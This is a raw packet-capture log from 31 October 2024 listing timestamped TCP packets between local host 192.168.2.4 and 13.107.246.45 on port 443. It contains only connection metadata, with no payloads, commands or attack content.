Oct 31, 2024 07:15:28.395528078 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.395567894 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.395781040 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.395803928 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.395824909 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.395831108 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.398469925 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.398492098 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.398550034 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.398695946 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.398709059 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.406176090 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.406225920 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.406270027 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.406296015 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.406409979 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.406424046 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.406434059 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.406439066 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.406450987 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.406496048 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.406532049 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.406541109 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.406549931 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.406553984 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.407190084 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.407898903 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.407963991 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.408090115 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.408097982 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.408107042 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.408111095 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.408910990 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.408936024 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.408991098 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.409087896 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.409107924 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.409166098 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.409178972 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.409188986 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.409284115 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.409296989 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.410033941 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.410048008 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.410109997 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.410222054 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.410231113 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.413912058 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.413928986 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.413960934 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.413971901 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.414005041 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.414093018 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.414098024 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.414107084 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.414110899 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.415756941 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.415766001 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.415841103 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.415967941 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.415982008 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.127346039 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.127845049 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.127863884 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.128312111 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.128317118 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.129695892 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.129935026 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.129951954 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.130247116 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.130250931 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.135337114 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.135575056 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.135593891 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.135895014 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.135900021 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.154856920 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.155082941 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.155098915 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.155395031 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.155401945 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.180692911 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.180959940 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.180969954 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.181320906 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.181327105 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.256678104 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.256731033 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.256786108 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.256954908 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.256970882 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.256979942 CET	49902	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.256984949 CET	443	49902	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.258816957 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.258861065 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.258908987 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.259047031 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.259062052 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.259071112 CET	49905	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.259079933 CET	443	49905	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.259989977 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.260004997 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.260068893 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.260209084 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.260215044 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.261092901 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.261121988 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.261182070 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.261327028 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.261342049 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.266196012 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.266299963 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.266347885 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.266371965 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.266381979 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.266396999 CET	49903	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.266401052 CET	443	49903	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.268275023 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.268291950 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.268353939 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.268465042 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.268476963 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.300070047 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.302644968 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.302714109 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.302733898 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.302747011 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.302756071 CET	49906	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.302762032 CET	443	49906	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.304399967 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.304409981 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.304471016 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.304564953 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.304574966 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.315956116 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.315980911 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.316016912 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.316018105 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.316051960 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.316174030 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.316183090 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.316191912 CET	49904	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.316196918 CET	443	49904	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.317785978 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.317797899 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.317862034 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.317974091 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.317980051 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.989712954 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.990109921 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.990129948 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:29.990535021 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:29.990540981 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.007147074 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.007498026 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.007519007 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.007848024 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.007853985 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.019187927 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.019447088 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.019463062 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.019768953 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.019773960 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.031802893 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.032080889 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.032090902 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.032449007 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.032454014 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.047102928 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.047386885 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.047398090 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.047699928 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.047703981 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.118565083 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.118645906 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.118722916 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.118938923 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.118947983 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.118958950 CET	49907	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.118971109 CET	443	49907	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.122157097 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.122241020 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.122327089 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.122493029 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.122526884 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.139301062 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.139348984 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.139477015 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.139700890 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.139722109 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.139743090 CET	49908	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.139750004 CET	443	49908	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.141941071 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.141971111 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.142036915 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.142165899 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.142179012 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.149404049 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.149563074 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.149617910 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.149661064 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.149673939 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.149686098 CET	49909	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.149689913 CET	443	49909	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.151612997 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.151642084 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.151719093 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.151855946 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.151875973 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.164515018 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.164561987 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.164612055 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.164784908 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.164793015 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.164804935 CET	49910	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.164810896 CET	443	49910	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.166522980 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.166531086 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.166599989 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.166724920 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.166733980 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.175759077 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.175848961 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.175879002 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.175889969 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.175926924 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.175968885 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.175973892 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.175982952 CET	49911	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.175986052 CET	443	49911	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.177603960 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.177639961 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.177704096 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.177808046 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.177824020 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.849550009 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.850140095 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.850186110 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.850512028 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.850527048 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.871022940 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.871534109 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.871555090 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.871860027 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.871865034 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.889198065 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.889499903 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.889519930 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.889977932 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.889990091 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.905416012 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.905728102 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.905735970 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.906213999 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.906218052 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.928803921 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.929096937 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.929114103 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.929604053 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.929610968 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.978034973 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.978091002 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.978163958 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.978302956 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.978324890 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.978375912 CET	49912	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.978393078 CET	443	49912	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.980745077 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.980775118 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:30.980853081 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.980978966 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:30.980990887 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.001924992 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.001965046 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.002015114 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.002155066 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.002165079 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.002176046 CET	49913	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.002180099 CET	443	49913	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.004133940 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.004156113 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.004225969 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.004349947 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.004360914 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.017947912 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.018080950 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.018163919 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.018163919 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.018205881 CET	49914	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.018219948 CET	443	49914	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.020194054 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.020205021 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.020265102 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.020385981 CET	49919	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.020395041 CET	443	49919	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.036981106 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.036997080 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.037039995 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.037039995 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.037081957 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.037199020 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.037204027 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.037216902 CET	49915	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.037220001 CET	443	49915	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.039182901 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.039226055 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.039290905 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.039421082 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.039443970 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.060336113 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.060565948 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.060597897 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.060611963 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.060637951 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.061947107 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.061956882 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.061965942 CET	49916	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.061969995 CET	443	49916	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.067790985 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.067821026 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.067879915 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.068068981 CET	49921	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.068079948 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.717734098 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.718209982 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.718230963 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.718704939 CET	49917	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.718708992 CET	443	49917	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.744738102 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.745161057 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.745174885 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.745533943 CET	49918	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.745539904 CET	443	49918	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.769202948 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.769526005 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.769546032 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.769949913 CET	49920	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:31.769961119 CET	443	49920	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.814065933 CET	443	49921	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:31.814548016 CET	49921	443	192.168.2.4	13.107.246.45
